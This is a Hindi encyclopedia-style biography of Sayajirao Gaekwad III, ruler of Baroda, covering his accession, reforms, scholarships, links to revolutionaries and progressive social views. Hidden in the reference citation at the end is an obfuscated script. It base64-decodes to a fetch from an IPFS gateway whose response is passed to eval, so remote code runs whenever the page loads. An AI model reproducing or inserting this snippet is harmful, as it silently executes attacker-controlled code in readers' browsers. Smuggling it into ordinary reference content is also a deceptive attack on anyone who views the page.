सयाजीराव गायकवाड़ तृतीय

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सयाजीराव गायकवाड़ (जन्म- 11 मार्च, 1863, मृत्यु- 6 फरवरी, 1939) बड़ौदा रियासत के राजा थे। वे स्वतंत्र प्रवृत्ति के शासक थे। कुप्रथाओं के विरोधी एवं शिक्षा प्रेमी थे। उनके शासन काल में बड़ौदा देशी राज्यों में सबसे प्रगतिशील राज्य था।

परिचय

बड़ौदा रियासत के राजा सयाजीराव गायकवाड़ (तृतीय) का नाम गोपाल राव था। उनका जन्म 11 मार्च, 1863 ई. को एक गरीब किसान परिवार में हुआ था। जब वे छोटे बालक ही थे तो अंग्रेजों ने बड़ौदा के महाराजा मल्हारराव को गद्दी से हटाकर गायकवाड़ खानदान का होने के कारण गोपाल राव को सयाजीराव गायकवाड़ (तृतीय) के नाम से गद्दी पर बैठा दिया। सयाजीराव को कोई शिक्षा नहीं मिली थी। अब उन्होंने मराठी, गुजराती और उर्दू का अध्ययन आरंभ किया तथा नित्य 12-12 घंटे परिश्रम करके इसमें सफलता प्राप्त की। देसी रियासतें अंग्रेजों के प्रभुत्व में थी पर सयाजीराव स्वतंत्र प्रकृति के थे।[1]

कुशल शासक

गायकवाड़ ब्रिटिश सम्राट की अधीनता मानते हुए भी स्वयं को भारत सरकार के अधीन नहीं मानते थे। उन्होंने अपनी रियासत के विकास के अनेक काम स्वेच्छा से किए। बड़ौदा राज्य में रेलों का जाल बिछाया। स्वेच्छा से अपनी सेना का गठन किया। साहित्य, कला आदि के साथ-साथ इंजीनियरिंग तथा कपड़े बुनने की कला आदि सिखाने के लिए कला भवन की स्थापना की। शासन में चुनाव की प्रथा भी सबसे पहले बड़ौदा में ही शुरू हुई। पंचायत से लेकर असेंबली तक के चुनाव कराए गए। बड़ौदा रियासत की ओर से योग्य छात्रों को छात्रवृत्ति दी जाती थी। डॉ अंबेडकर इस रियासत की छात्रवृत्ति लेकर ही विदेश अध्ययन के लिए गए थे।

स्वतंत्र प्रवृत्ति

सयाजीराव की स्वतंत्र वृत्ति का ही परिणाम था कि क्रांतिकारी अरविंद बड़ौदा कालेज के अध्यापक नियुक्त हुए और रमेश चंद्र दत्त कुछ वर्षों तक उनके दीवान थे। संत निहाल सिंह और वीर सावरकर आदि से उनकी मैत्री थी। अपनी विदेश यात्राओं में उन्होंने मदाम भीखाजी कामा, श्यामजी कृष्ण वर्मा, वीरेंद्र नाथ चट्टोपाध्याय आदि क्रांतिकारियों से भी संपर्क रखा।

प्रगतिशील विचार

वे शिक्षा के प्रेमी, धार्मिक विचारों में समन्वयवादी, अछूतों के उत्थान के लिए सचेष्ट और अंतरजातीय विवाह के समर्थक थे। उनको शिक्षा प्रेम के कारण 1924 ई. में सयाजीराव गायकवाड़ को काशी हिंदू विश्वविद्यालय का कुलपति बनाया गया था। सभी महिलाओं को पर्दे में रखने के विरोधी थे और उनकी उन्नति के लिये उन्होंने 'सयाजी विहार' नामक क्लब की स्थापना की थी। उनके प्रयत्न से बड़ौदा देशी राज्यों में सबसे प्रगतिशील राज्य बन गया था।

मृत्यु

बड़ौदा रियासत के राजा सयाजीराव गायकवाड़ का 6 फरवरी, 1939 ई. को निधन हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 897 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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